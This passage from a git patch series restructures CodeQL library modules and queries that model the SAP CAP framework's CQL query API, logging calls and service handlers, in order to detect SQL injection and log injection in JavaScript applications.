 
-  /**
-   * Arguments of calls to `cds.log.{trace, debug, info, log, warn, error}`
-   */
-  class CdsLogSink extends DataFlow::Node {
-    CdsLogSink() { this = any(CdsLogCall cdsLog).getACall().getAChainedMethodCall(["trace", "debug", "info", "log", "warn", "error"]).getAnArgument() }
+/**
+ * Arguments of calls to `cds.log.{trace, debug, info, log, warn, error}`
+ */
+class CdsLogSink extends DataFlow::Node {
+  CdsLogSink() {
+    this =
+      any(CdsLogCall cdsLog)
+          .getACall()
+          .getAChainedMethodCall(["trace", "debug", "info", "log", "warn", "error"])
+          .getAnArgument()
   }
+}
 
-  /**
-   * Methods that parse source strings into a CQL expression
-   */
-  class ParseSink extends DataFlow::Node {
-    ParseSink() { this = any(CdsFacade cds).getMember("parse").getMember(["expr", "ref", "xpr"]).getACall().getAnArgument() }
+/**
+ * Methods that parse source strings into a CQL expression
+ */
+class ParseSink extends DataFlow::Node {
+  ParseSink() {
+    this =
+      any(CdsFacade cds)
+          .getMember("parse")
+          .getMember(["expr", "ref", "xpr"])
+          .getACall()
+          .getAnArgument()
   }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CQL.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CQL.qll
index 1dde91599..0724f7fa7 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CQL.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CQL.qll
@@ -1,261 +1,259 @@
 import javascript
 import DataFlow
-import CDS::CDS
-
-module CQL {
-  /**
-   * Objects from the SQL-like fluent API
-   * this is the set of clauses that acts as the base of a statement
-   */
-  class CqlQueryBase extends VarRef {
-    CqlQueryBase() {
-      exists(string name |
-        this.getName() = name and
-        name in ["SELECT", "INSERT", "DELETE", "UPDATE", "UPSERT"] and
-        // Made available as a global variable
-        exists(GlobalVariable queryBase | this = queryBase.getAReference())
-        or
-        // Imported from `cds.ql` */
-        exists(CdsFacade cds |
-          cds.getMember("ql").getMember(name).getAValueReachableFromSource().asExpr() = this
-        )
+import advanced_security.javascript.frameworks.cap.CDS
+
+/**
+ * Objects from the SQL-like fluent API
+ * this is the set of clauses that acts as the base of a statement
+ */
+class CqlQueryBase extends VarRef {
+  CqlQueryBase() {
+    exists(string name |
+      this.getName() = name and
+      name in ["SELECT", "INSERT", "DELETE", "UPDATE", "UPSERT"] and
+      // Made available as a global variable
+      exists(GlobalVariable queryBase | this = queryBase.getAReference())
+      or
+      // Imported from `cds.ql` */
+      exists(CdsFacade cds |
+        cds.getMember("ql").getMember(name).getAValueReachableFromSource().asExpr() = this
       )
-    }
+    )
   }
+}
 
-  class CqlSelectBase extends CqlQueryBase {
-    CqlSelectBase() { this.getName() = "SELECT" }
-  }
+class CqlSelectBase extends CqlQueryBase {
+  CqlSelectBase() { this.getName() = "SELECT" }
+}
 
-  class CqlInsertBase extends CqlQueryBase {
-    CqlInsertBase() { this.getName() = "INSERT" }
-  }
+class CqlInsertBase extends CqlQueryBase {
+  CqlInsertBase() { this.getName() = "INSERT" }
+}
+
+class CqlDeleteBase extends CqlQueryBase {
+  CqlDeleteBase() { this.getName() = "DELETE" }
+}
+
+class CqlUpdateBase extends CqlQueryBase {
+  CqlUpdateBase() { this.getName() = "UPDATE" }
+}
+
+class CqlUpsertBase extends CqlQueryBase {
+  CqlUpsertBase() { this.getName() = "UPSERT" }
+}
+
+/**
+ * The cds-ql docs do not mention DELETE being a function acting as a shortcut to any underlying clause
+ */
+abstract class CqlQueryBaseCall extends CallExpr {
+  // TODO: Express "It's a global function or a local function imported from cds.ql"
+}
 
-  class CqlDeleteBase extends CqlQueryBase {
-    CqlDeleteBase() { this.getName() = "DELETE" }
+class CqlSelectBaseCall extends CqlQueryBaseCall {
+  CqlSelectBaseCall() { this.getCalleeName() = "SELECT" }
+}
+
+class CqlInsertBaseCall extends CqlQueryBaseCall {
+  CqlInsertBaseCall() { this.getCalleeName() = "INSERT" }
+}
+
+class CqlUpdateBaseCall extends CqlQueryBaseCall {
+  CqlUpdateBaseCall() { this.getCalleeName() = "UPDATE" }
+}
+
+class CqlUpsertBaseCall extends CqlQueryBaseCall {
+  CqlUpsertBaseCall() { this.getCalleeName() = "UPSERT" }
+}
+
+/**
+ * Obtains the receiver across a variety of types of accesses
+ */
+Expr getRootReceiver(Expr e) {
+  result = e and
+  (
+    e instanceof VarRef
+    or
+    e instanceof CallExpr and not exists(e.(CallExpr).getReceiver())
+  )
+  or
+  result = getRootReceiver(e.(DotExpr).getBase())
+  or
+  result = getRootReceiver(e.(MethodCallExpr).getReceiver())
+  or
+  result = getRootReceiver(e.(PropAccess).getBase())
+  or
+  result = getRootReceiver(e.(TaggedTemplateExpr).getTag())
+}
+
+/**
+ * An aggregation type for the two ways to access the fluent API
+ * provided by the module cds.ql
+ */
+newtype TCqlClause =
+  MethodCall(MethodCallExpr callExpr) {
+    exists(CqlQueryBase base | base = getRootReceiver(callExpr)) or
+    exists(CqlQueryBaseCall call | call = getRootReceiver(callExpr))
+  } or
+  ShortcutCall(CqlQueryBaseCall callExpr)
+
+class CqlClause extends TCqlClause {
+  Expr asExpr() {
+    result = this.asMethodCall()
+    or
+    result = this.asShortcutCall()
   }
 
-  class CqlUpdateBase extends CqlQueryBase {
-    CqlUpdateBase() { this.getName() = "UPDATE" }
+  Expr getArgument() {
+    result = this.asMethodCall().getAnArgument()
+    or
+    result = this.asShortcutCall().getAnArgument()
   }
 
-  class CqlUpsertBase extends CqlQueryBase {
-    CqlUpsertBase() { this.getName() = "UPSERT" }
+  string getClauseName() {
+    result = this.asMethodCall().getMethodName()
+    or
+    this.asShortcutCall().getCalleeName() = "SELECT" and
+    result = "columns"
+    or
+    this.asShortcutCall().getCalleeName() in ["INSERT", "UPSERT"] and
+    result = "entries"
+    or
+    this.asShortcutCall().getCalleeName() = "UPDATE" and
+    result = "entity"
   }
 
+  MethodCallExpr asMethodCall() { this = MethodCall(result) }
+
+  CallExpr asShortcutCall() { this = ShortcutCall(result) }
+
   /**
-   * The cds-ql docs do not mention DELETE being a function acting as a shortcut to any underlying clause
+   * Convert this `CqlClause` into a `DotExpr`, i.e.
+   * `Get SELECT.from'Table' when given SELECT.from'Table'.wherecond`,
    */
-  abstract class CqlQueryBaseCall extends CallExpr {
-    // TODO: Express "It's a global function or a local function imported from cds.ql"
-  }
+  DotExpr asDotExpr() { result = this.asMethodCall().getCallee().(DotExpr) }
 
-  class CqlSelectBaseCall extends CqlQueryBaseCall {
-    CqlSelectBaseCall() { this.getCalleeName() = "SELECT" }
+  string toString() {
+    result = this.asMethodCall().toString() or
+    result = this.asShortcutCall().toString()
   }
 
-  class CqlInsertBaseCall extends CqlQueryBaseCall {
-    CqlInsertBaseCall() { this.getCalleeName() = "INSERT" }
+  Location getLocation() {
+    result = this.asMethodCall().getLocation() or
+    result = this.asShortcutCall().getLocation()
   }
 
-  class CqlUpdateBaseCall extends CqlQueryBaseCall {
-    CqlUpdateBaseCall() { this.getCalleeName() = "UPDATE" }
+  CqlQueryBase getCqlBase() { result = getRootReceiver(this.asMethodCall()) }
+
+  CqlQueryBaseCall getCqlBaseCall() {
+    result = getRootReceiver(this.asMethodCall()).(CqlQueryBaseCall)
   }
 
-  class CqlUpsertBaseCall extends CqlQueryBaseCall {
-    CqlUpsertBaseCall() { this.getCalleeName() = "UPSERT" }
+  /** Describes a parent expression relation */
+  Expr getParentExpr() {
+    result = this.asMethodCall().getParentExpr() or
+    result = this.asShortcutCall().getParentExpr()
   }
 
   /**
-   * Obtains the receiver across a variety of types of accesses
+   * Possible cases for constructing a chain of clauses:
+   *
+   * (looking at the terminal clause and its possible parent types as tuples: (this, parent))
+   * 1) MethodCall.MethodCall
+   *     - example `(SELECT.from(Table),  SELECT.from(Table).where("col1='*'"))`
+   * 2) ShortcutCall.MethodCall
+   *     - example `(SELECT("col1, col2"), SELECT("col1, col2").from("Table"))`
+   *
+   * ShortcutCalls cannot be added to any clause chain other than the first position
+   * example - `SELECT("col1, col2").INSERT(col2)` is not valid
    */
-  Expr getRootReceiver(Expr e) {
-    result = e and
-    (
-      e instanceof VarRef
-      or
-      e instanceof CallExpr and not exists(e.(CallExpr).getReceiver())
-    )
-    or
-    result = getRootReceiver(e.(DotExpr).getBase())
+  CqlClause getCqlParentExpr() {
+    result.asMethodCall() = this.asMethodCall().getParentExpr().getParentExpr()
     or
-    result = getRootReceiver(e.(MethodCallExpr).getReceiver())
-    or
-    result = getRootReceiver(e.(PropAccess).getBase())
-    or
-    result = getRootReceiver(e.(TaggedTemplateExpr).getTag())
+    result.asMethodCall() = this.asShortcutCall().getParentExpr().getParentExpr()
   }
 
-  /**
-   * An aggregation type for the two ways to access the fluent API
-   * provided by the module cds.ql
-   */
-  newtype TCqlClause =
-    MethodCall(MethodCallExpr callExpr) {
-      exists(CqlQueryBase base | base = getRootReceiver(callExpr)) or
-      exists(CqlQueryBaseCall call | call = getRootReceiver(callExpr))
-    } or
-    ShortcutCall(CqlQueryBaseCall callExpr)
-
-  class CqlClause extends TCqlClause {
-    Expr asExpr() {
-      result = this.asMethodCall()
-      or
-      result = this.asShortcutCall()
-    }
+  Expr getAnAncestorExpr() {
+    result = this.asMethodCall().getParentExpr+() or
+    result = this.asShortcutCall().getParentExpr+()
+  }
 
-    Expr getArgument() {
-      result = this.asMethodCall().getAnArgument()
-      or
-      result = this.asShortcutCall().getAnArgument()
-    }
+  CqlClause getAnAncestorCqlClause() {
+    result.asMethodCall() = this.getAnAncestorExpr() or
+    result.asShortcutCall() = this.getAnAncestorExpr()
+  }
 
-    string getClauseName() {
-      result = this.asMethodCall().getMethodName()
-      or
-      this.asShortcutCall().getCalleeName() = "SELECT" and
-      result = "columns"
-      or
-      this.asShortcutCall().getCalleeName() in ["INSERT", "UPSERT"] and
-      result = "entries"
-      or
-      this.asShortcutCall().getCalleeName() = "UPDATE" and
-      result = "entity"
-    }
-
-    MethodCallExpr asMethodCall() { this = MethodCall(result) }
-
-    CallExpr asShortcutCall() { this = ShortcutCall(result) }
-
-    /**
-     * Convert this `CqlClause` into a `DotExpr`, i.e.
-     * `Get SELECT.from'Table' when given SELECT.from'Table'.wherecond`,
-     */
-    DotExpr asDotExpr() { result = this.asMethodCall().getCallee().(DotExpr) }
-
-    string toString() {
-      result = this.asMethodCall().toString() or
-      result = this.asShortcutCall().toString()
-    }
-
-    Location getLocation() {
-      result = this.asMethodCall().getLocation() or
-      result = this.asShortcutCall().getLocation()
-    }
-
-    CqlQueryBase getCqlBase() { result = getRootReceiver(this.asMethodCall()) }
-
-    CqlQueryBaseCall getCqlBaseCall() {
-      result = getRootReceiver(this.asMethodCall()).(CqlQueryBaseCall)
-    }
-
-    /** Describes a parent expression relation */
-    Expr getParentExpr() {
-      result = this.asMethodCall().getParentExpr() or
-      result = this.asShortcutCall().getParentExpr()
-    }
-
-    /**
-     * Possible cases for constructing a chain of clauses:
-     *
-     * (looking at the terminal clause and its possible parent types as tuples: (this, parent))
-     * 1) MethodCall.MethodCall
-     *     - example `(SELECT.from(Table),  SELECT.from(Table).where("col1='*'"))`
-     * 2) ShortcutCall.MethodCall
-     *     - example `(SELECT("col1, col2"), SELECT("col1, col2").from("Table"))`
-     *
-     * ShortcutCalls cannot be added to any clause chain other than the first position
-     * example - `SELECT("col1, col2").INSERT(col2)` is not valid
-     */
-    CqlClause getCqlParentExpr() {
-      result.asMethodCall() = this.asMethodCall().getParentExpr().getParentExpr()
-      or
-      result.asMethodCall() = this.asShortcutCall().getParentExpr().getParentExpr()
-    }
-
-    Expr getAnAncestorExpr() {
-      result = this.asMethodCall().getParentExpr+() or
-      result = this.asShortcutCall().getParentExpr+()
-    }
-
-    CqlClause getAnAncestorCqlClause() {
-      result.asMethodCall() = this.getAnAncestorExpr() or
-      result.asShortcutCall() = this.getAnAncestorExpr()
-    }
-
-    /** Describes a child expression relation */
-    Expr getAChildExpr() {
-      result = this.asMethodCall().getAChildExpr() or
-      result = this.asShortcutCall().getAChildExpr()
-    }
-
-    /**
-     * the same chain order logic as `getCqlParentExpr` but reversed
-     */
-    CqlClause getAChildCqlClause() {
-      result.asMethodCall() = this.asMethodCall().getAChildExpr().getAChildExpr() or
-      result.asShortcutCall() = this.asMethodCall().getAChildExpr().getAChildExpr()
-    }
-
-    Expr getADescendantExpr() {
-      result = this.asMethodCall().getAChildExpr+() or
-      result = this.asShortcutCall().getAChildExpr+()
-    }
-
-    CqlClause getADescendantCqlClause() {
-      result.asMethodCall() = this.getADescendantExpr() or
-      result.asShortcutCall() = this.getADescendantExpr()
-    }
-
-    /**
-     * Matches the given `CqlClause` to its method/property name, nested at arbitrary depth.
-     */
-    string getAnAPIName() {
-      result = this.asDotExpr().getPropertyName() or
-      result = this.getADescendantCqlClause().getAnAPIName()
-    }
+  /** Describes a child expression relation */
+  Expr getAChildExpr() {
+    result = this.asMethodCall().getAChildExpr() or
+    result = this.asShortcutCall().getAChildExpr()
   }
 
   /**
-   * A possibly tainted clause
-   * any clause with a string concatenation in it
-   * regardless of where that operand came from
+   * the same chain order logic as `getCqlParentExpr` but reversed
    */
-  class TaintedClause extends CqlClause {
-    TaintedClause() { exists(StringConcatenation::getAnOperand(this.getArgument().flow())) }
+  CqlClause getAChildCqlClause() {
+    result.asMethodCall() = this.asMethodCall().getAChildExpr().getAChildExpr() or
+    result.asShortcutCall() = this.asMethodCall().getAChildExpr().getAChildExpr()
   }
 
-  /**
-   * Call to`cds.db.run`
-   * or
-   * an await surrounding a sql statement
-   */
-  class CQLSink extends DataFlow::Node {
-    CQLSink() {
-      this = any(CdsFacade cds).getMember("db").getMember("run").getACall().getAnArgument()
-      or
-      exists(AwaitExpr a, CQL::CqlClause clause |
-        a.getAChildExpr() = clause.asExpr() and this.asExpr() = clause.asExpr()
-      )
-    }
+  Expr getADescendantExpr() {
+    result = this.asMethodCall().getAChildExpr+() or
+    result = this.asShortcutCall().getAChildExpr+()
+  }
+
+  CqlClause getADescendantCqlClause() {
+    result.asMethodCall() = this.getADescendantExpr() or
+    result.asShortcutCall() = this.getADescendantExpr()
   }
 
   /**
-   * a more heurisitic based taint step
-   * captures one of the alternative ways to construct query strings:
-   * `cds.parse.cql(`string`+userInput)`
-   * and considers them tainted if they've been concatenated against
-   * in any manner
+   * Matches the given `CqlClause` to its method/property name, nested at arbitrary depth.
    */
-  class ParseCQLTaintedClause extends CallNode {
-    ParseCQLTaintedClause() {
-      this = any(CdsFacade cds).getMember("parse").getMember("cql").getACall() and
-      exists(DataFlow::Node n |
-        n = StringConcatenation::getAnOperand(this.getAnArgument()) and
-        //omit the fact that the arg of cds.parse.cql (`SELECT * from Foo`)
-        //is technically a string concat
-        not n.asExpr() instanceof TemplateElement
-      )
-    }
+  string getAnAPIName() {
+    result = this.asDotExpr().getPropertyName() or
+    result = this.getADescendantCqlClause().getAnAPIName()
+  }
+}
+
+/**
+ * A possibly tainted clause
+ * any clause with a string concatenation in it
+ * regardless of where that operand came from
+ */
+class TaintedClause extends CqlClause {
+  TaintedClause() { exists(StringConcatenation::getAnOperand(this.getArgument().flow())) }
+}
+
+/**
+ * Call to`cds.db.run`
+ * or
+ * an await surrounding a sql statement
+ */
+class CQLSink extends DataFlow::Node {
+  CQLSink() {
+    this = any(CdsFacade cds).getMember("db").getMember("run").getACall().getAnArgument()
+    or
+    exists(AwaitExpr a, CqlClause clause |
+      a.getAChildExpr() = clause.asExpr() and this.asExpr() = clause.asExpr()
+    )
+  }
+}
+
+/**
+ * a more heurisitic based taint step
+ * captures one of the alternative ways to construct query strings:
+ * `cds.parse.cql(`string`+userInput)`
+ * and considers them tainted if they've been concatenated against
+ * in any manner
+ */
+class ParseCQLTaintedClause extends CallNode {
+  ParseCQLTaintedClause() {
+    this = any(CdsFacade cds).getMember("parse").getMember("cql").getACall() and
+    exists(DataFlow::Node n |
+      n = StringConcatenation::getAnOperand(this.getAnArgument()) and
+      //omit the fact that the arg of cds.parse.cql (`SELECT * from Foo`)
+      //is technically a string concat
+      not n.asExpr() instanceof TemplateElement
+    )
   }
 }
diff --git a/javascript/frameworks/cap/src/loginjection/LogInjection.ql b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
index 7e8b3f53a..fe4f2a593 100644
--- a/javascript/frameworks/cap/src/loginjection/LogInjection.ql
+++ b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
@@ -18,12 +18,12 @@ import advanced_security.javascript.frameworks.cap.CDS
 /**
  * A source of remote user controlled input.
  */
-class CapRemoteSource extends Source, CDS::RequestSource { }
+class CapRemoteSource extends Source, RequestSource { }
 
 /**
  * An argument to a logging mechanism.
  */
-class CapLoggingSink extends Sink, CDS::CdsLogSink { }
+class CapLoggingSink extends Sink, CdsLogSink { }
 
 from Configuration config, DataFlow::PathNode source, DataFlow::PathNode sink
 where config.hasFlowPath(source, sink)
diff --git a/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql b/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql
index ed3e6a0b5..75fbbf95a 100644
--- a/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql
+++ b/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql
@@ -20,22 +20,22 @@ class Configuration extends TaintTracking::Configuration {
   Configuration() { this = "CapSqlInjection" }
 
   override predicate isSource(DataFlow::Node source) {
-    source instanceof Source or source instanceof CDS::RequestSource
+    source instanceof Source or source instanceof RequestSource
   }
 
   override predicate isSink(DataFlow::Node sink) {
-    sink instanceof Sink or sink instanceof CQL::CQLSink
+    sink instanceof Sink or sink instanceof CQLSink
   }
 
   override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
     //string concatenation in a clause arg taints the clause
-    exists(CQL::TaintedClause clause |
+    exists(TaintedClause clause |
       clause.getArgument() = pred.asExpr() and
       clause.asExpr() = succ.asExpr()
     )
     or
     //less precise, any concat in the alternative sql stmt construction techniques
-    exists(CQL::ParseCQLTaintedClause parse |
+    exists(ParseCQLTaintedClause parse |
       parse.getAnArgument() = pred and
       parse = succ
     )

From 7d2a95fd8c52d5a662d6d9b96510f9ba39fbb9dd Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 18:04:36 -0800
Subject: [PATCH 09/86] Introduce variant `ImplMethodCall`

---
 .../javascript/frameworks/cap/CDS.qll         | 28 +++++++++++++++----
 1 file changed, 22 insertions(+), 6 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index e2291a30e..fa8d2bbe7 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -31,17 +31,33 @@ private class RequestHandler extends FunctionNode { }
 
 private class ErrorHandler extends RequestHandler { }
 
+newtype TUserDefinedApplicationService =
+  TClassDefinition(ClassNode classNode) {
+    exists(ApplicationService cdsApplicationService |
+      classNode.getASuperClassNode() = cdsApplicationService.asSource()
+    )
+  } or
+  TImplMethodCall(MethodCallNode cdsServiceImplCall) {
+    exists(CdsFacade cds |
+      cdsServiceImplCall.getReceiver() = cds.getMember("service").asSource() and
+      cdsServiceImplCall.getMethodName() = "impl"
+    )
+  }
+
 /**
  * Subclassing ApplicationService via `extends`:
  * ```js
  * class SomeService extends cds.ApplicationService
  * ```
  */
-class UserDefinedApplicationService extends ClassNode {
-  UserDefinedApplicationService() {
-    exists(ApplicationService cdsApplicationService |
-      this.getASuperClassNode() = cdsApplicationService.asSource()
-    )
+class UserDefinedApplicationService extends TUserDefinedApplicationService {
+  ClassNode asClassDefinition() { this = TClassDefinition(result) }
+
+  MethodCallNode asImplMethodCall() { this = TImplMethodCall(result) }
+
+  string toString() {
+    result = this.asClassDefinition().toString() or
+    result = this.asImplMethodCall().toString()
   }
 }
 
@@ -109,7 +125,7 @@ class RequestSource extends OnNodeParam {
   RequestSource() {
     // TODO : consider  - do we need to actually ever know which service the handler is associated to?
     exists(UserDefinedApplicationService svc, FunctionNode init |
-      svc.getAnInstanceMember() = init and
+      svc.asClassDefinition().getAnInstanceMember() = init and
       init.getName() = "init" and
       this.getOnNode().getEnclosingFunction() = init.getAstNode()
     )

From f8588fb3b9c50ba938fffe1c04dbefff25ae201f Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 20:28:43 -0800
Subject: [PATCH 10/86] Add missing await on call to `cds.connect.to`

---
 .../cap/test/queries/loginjection/sample-app/server.js          | 2 +-
 .../cap/test/queries/sqlinjection/sample-app/server.js          | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
index e386a6cde..2f0beac60 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
@@ -1,5 +1,5 @@
 const cds = require('@sap/cds');
-const Service1 = cds.connect.to("Service1");
+const Service1 = await cds.connect.to("Service1");
 
 cds.once('bootstrap', (app) => {
     app.serve("/log-injection").from("@advanced-security/log-injection");
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
index 417239c21..c1966545f 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
@@ -1,5 +1,5 @@
 const cds = require("@sap/cds");
-const Service1 = cds.connect.to("Service1");
+const Service1 = await cds.connect.to("Service1");
 
 cds.once("bootstrap", (app) => {
     app.serve("/sql-injection").from("@advanced-security/log-injection");

From a097e044799cdb3875b62bf79eb24f5edf771ed4 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 14 Feb 2024 10:33:03 -0800
Subject: [PATCH 11/86] Add classes predicates

---
 .../javascript/frameworks/cap/CDS.qll         | 264 ++++++++++++++----
 1 file changed, 206 insertions(+), 58 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index fa8d2bbe7..47f7a506b 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -1,42 +1,199 @@
 import javascript
 import DataFlow
 
-// TODO: should this base type be more specific?
-abstract class ServiceInstance extends DataFlow::Node { }
+/**
+ * ```js
+ * const cds = require('@sap/cds')
+ * ```
+ */
+class CdsFacade extends API::Node {
+  CdsFacade() { this = API::moduleImport("@sap/cds") }
+}
 
 /**
- * Call to`cds.serve`
+ * A call to `serve` on a CDS facade.
  */
-class CdsServeCall extends ServiceInstance {
-  CdsServeCall() { this = any(CdsFacade cds).getMember("serve").getACall() }
+class CdsServeCall extends MethodCallNode {
+  CdsServeCall() { exists(CdsFacade cds | this = cds.getMember("serve").getACall()) }
 }
 
 /**
- * call to:
- *  `new cds.ApplicationService` or `new cds.Service`
+ * A service instance that are obtained by the service's name, either via:
+ * - Serving defined services via cds.serve and awaiting its promise, or
+ * - Connecting to a service already being served and awaiting its promise, or
+ * - Simply calling a constructor with a `new` keyword.
+ * e.g.
+ * ```javascript
+ * // Obtained through `cds.serve`
+ * const { Service1, Service2 } = await cds.serve("all");
+ * const Service1 = await cds.serve("service-1");
+ *
+ * // Obtained through `cds.connect.to`
+ * const Service1 = await cds.connect.to("service-1");
+ * 
+ * // A constructor call
+ * const srv = new cds.ApplicationService(...);
+ * const srv = new cds.Service(...);
+ * ```
  */
-class ServiceConstructor extends ServiceInstance {
-  ServiceConstructor() { this = any(ApplicationService cds).getAnInstantiation() }
+class ServiceInstance extends DataFlow::Node {
+  ServiceInstance() {
+    exists(AwaitExpr await, CdsServeCall cdsServe |
+      /* 1. Obtained using `cds.Serve` */
+      (
+        /*
+         * 1-1. Destructuring definition, e.g.
+         * ```
+         * const { Service1, Service2 } = await cds.serve("all");
+         * ```
+         */
+
+        this.asExpr().getFirstControlFlowNode().(VarDef).getDestructuringSource() = await
+        or
+        /*
+         * 1-2. Direct definition, e.g.
+         * ```
+         * const Service1 = await cds.serve("service-1");
+         * ```
+         */
+
+        this.getALocalSource().asExpr() = await
+      ) and
+      await.getOperand().flow() = cdsServe
+    )
+    or
+    /* 2. Obtained using `cds.connect.to` */
+    exists(AwaitExpr await, CdsConnectTo cdsConnectTo |
+      this.getALocalSource().asExpr() = await and
+      await.getOperand().flow() = cdsConnectTo
+    )
+    or
+    /*
+     * 3. A constructor call on the class with a `new` keyword, e.g.
+     * ```
+     * const srv = new cds.ApplicationService(...);
+     * const srv = new cds.Service(...);
+     * ```
+     */
+
+    this = any(ApplicationService cds).getAnInstantiation()
+  }
 }
 
 /**
- * return value of `cds.connect.to`
+ * A Call to `cds.connect.to` that returns a promise containing the service that is asked for by its name.
  */
-class ConnectTo extends ServiceInstance {
-  ConnectTo() { this = any(CdsFacade cds).getMember("connect").getMember("to").getACall() }
+class CdsConnectTo extends MethodCallNode {
+  string serviceName;
+
+  CdsConnectTo() {
+    exists(CdsFacade cds |
+      this = cds.getMember("connect").getMember("to").getACall() and
+      serviceName = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+    )
+  }
 }
 
-/** Last argument to the service methods `srv.before`, `srv.on`, and `srv.after` */
-private class RequestHandler extends FunctionNode { }
+/**
+ * A call to `before`, `on`, or `after` on an `ApplicationService`.
+ * It registers an handler to be executed when an event is fired,
+ * to do something with the incoming request or event.
+ */
+class HandlerRegistration extends MethodCallNode {
+  HandlerRegistration() {
+    exists(ApplicationService srv |
+      this.getReceiver() = srv.asSource() and
+      (
+        this.getMethodName() = "before" or
+        this.getMethodName() = "on" or
+        this.getMethodName() = "after"
+      )
+    )
+  }
+
+  /**
+   * Get the name of the event that the handler is registered for.
+   */
+  string getAnEventName() {
+    exists(StringLiteral stringLiteral |
+      stringLiteral = this.getArgument(0).asExpr() and
+      result = stringLiteral.getValue()
+    )
+    or
+    exists(ArrayLiteralNode arrayLiteral |
+      arrayLiteral = this.getArgument(0) and
+      result = arrayLiteral.getAnElement().asExpr().(StringLiteral).getValue()
+    )
+  }
+
+  /**
+   * Get the name of the entity that the handler is registered for, if any.
+   */
+  string getEntityName() { result = this.getArgument(1).asExpr().(StringLiteral).getValue() }
+}
+
+/**
+ * The handler that implements a service's logic to deal with the incoming request or message when a certain event is fired.
+ * It is the last argument to the method calls that registers the handler: either `srv.before`, `srv.on`, or `srv.after`.
+ */
+abstract class Handler extends FunctionNode {
+  UserDefinedApplicationService srv;
+  string eventName;
 
-private class ErrorHandler extends RequestHandler { }
+  Handler() {
+    this.asExpr().getEnclosingFunction() = srv.getInitFunction().asExpr() and
+    exists(HandlerRegistration handlerRegistration |
+      handlerRegistration.asExpr() = this.getEnclosingExpr() and
+      eventName = handlerRegistration.getAnEventName()
+    )
+  }
+
+  /**
+   * Gets the service registering this handler.
+   */
+  UserDefinedApplicationService getDefiningService() { result = srv }
+
+  /**
+   * Gets a name of one of the event this handler is registered for.
+   */
+  string getAnEventName() { result = eventName }
+}
+
+/**
+ * A handler whose parameter is of type `cds.Event`. It handles asynchronous events.
+ */
+class MessageHandler extends Handler { }
+
+/**
+ * A handler whose parameter is of type `cds.Request`, and might contain a second parameter for
+ * passing the control to the handler registered below it. It handles synchronous requests.
+ */
+class RequestHandler extends Handler { }
+
+/**
+ * A handler that handles errors. (TODO)
+ */
+class ErrorHandler extends Handler { }
 
 newtype TUserDefinedApplicationService =
+  /**
+   * Subclassing `ApplicationService` via a ES6 class definition.
+   * ```js
+   * class SomeService extends cds.ApplicationService
+   * ```
+   */
   TClassDefinition(ClassNode classNode) {
     exists(ApplicationService cdsApplicationService |
       classNode.getASuperClassNode() = cdsApplicationService.asSource()
     )
   } or
+  /**
+   * Subclassing `ApplicationService` via a call to `cds.service.impl`.
+   * ```js
+   * const cds = require('@sap/cds')
+   * module.exports = cds.service.impl (function() { ... })
+   * ```
+   */
   TImplMethodCall(MethodCallNode cdsServiceImplCall) {
     exists(CdsFacade cds |
       cdsServiceImplCall.getReceiver() = cds.getMember("service").asSource() and
@@ -45,10 +202,7 @@ newtype TUserDefinedApplicationService =
   }
 
 /**
- * Subclassing ApplicationService via `extends`:
- * ```js
- * class SomeService extends cds.ApplicationService
- * ```
+ * A custom application service of type `cds.ApplicationService`, where parts of the business logic are implemented.
  */
 class UserDefinedApplicationService extends TUserDefinedApplicationService {
   ClassNode asClassDefinition() { this = TClassDefinition(result) }
@@ -59,18 +213,14 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
     result = this.asClassDefinition().toString() or
     result = this.asImplMethodCall().toString()
   }
-}
 
-/**
- * Subclassing ApplicationService via `cds.service.impl`:
- * ```js
- * const cds = require('@sap/cds')
- * module.exports = cds.service.impl (function() { ... })
- * ```
- */
-class OldStyleUserDefinedApplicationService extends MethodCallNode {
-  OldStyleUserDefinedApplicationService() {
-    exists(CdsFacade cds | this = cds.getMember("service").getMember("impl").getACall())
+  FunctionNode getInitFunction() {
+    result = this.asClassDefinition().getInstanceMethod("init") or
+    result = this.asImplMethodCall().getArgument(0)
+  }
+
+  HandlerRegistration getAHandlerRegistration() {
+    result.getEnclosingFunction() = getInitFunction().asExpr()
   }
 }
 
